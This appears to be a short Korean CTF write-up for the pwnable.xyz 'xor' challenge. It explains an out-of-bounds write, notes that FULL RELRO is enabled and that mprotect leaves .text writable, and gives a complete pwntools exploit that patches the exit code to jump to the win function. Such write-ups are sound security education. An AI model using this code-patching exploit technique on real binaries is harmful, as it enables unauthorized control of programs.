본문 바로가기

pwn/pwnable.xyz

pwnable.xyz / xor

prob

 

 

main

oob가 터진다

 

checksec

oob가 가능하더라도 FULL RELRO가 걸려있어서 뭘 할 수가 없다

 

mprotect

바이너리 보니까 mprotect가 왜 있나 싶었는데 .text영역에 rwx를 다준다

 

 

flag

oob로 exit쪽 코드를 jmp win으로 수정해줬다

from pwn import *

#p = remote("svc.pwnable.xyz", 30029)
p = process("./xor")

jump = -262887

def aaw(idx, data):
    p.recvuntil("   ")
    p.send(str(data ^ 1))
    p.send(b" 1 ")
    p.sendline(str(idx))

aaw(jump,    0x458b48ffffff58e9)
aaw(0, 0)
p.interactive()

 

'pwn > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / TLSv00  (0) 2022.05.11
pwnable.xyz / free spirit  (0) 2022.05.10
pwnable.xyz / two_target  (0) 2022.05.07
pwnable.xyz / note  (0) 2022.05.06
pwnable.xyz/GrownUp  (0) 2022.02.14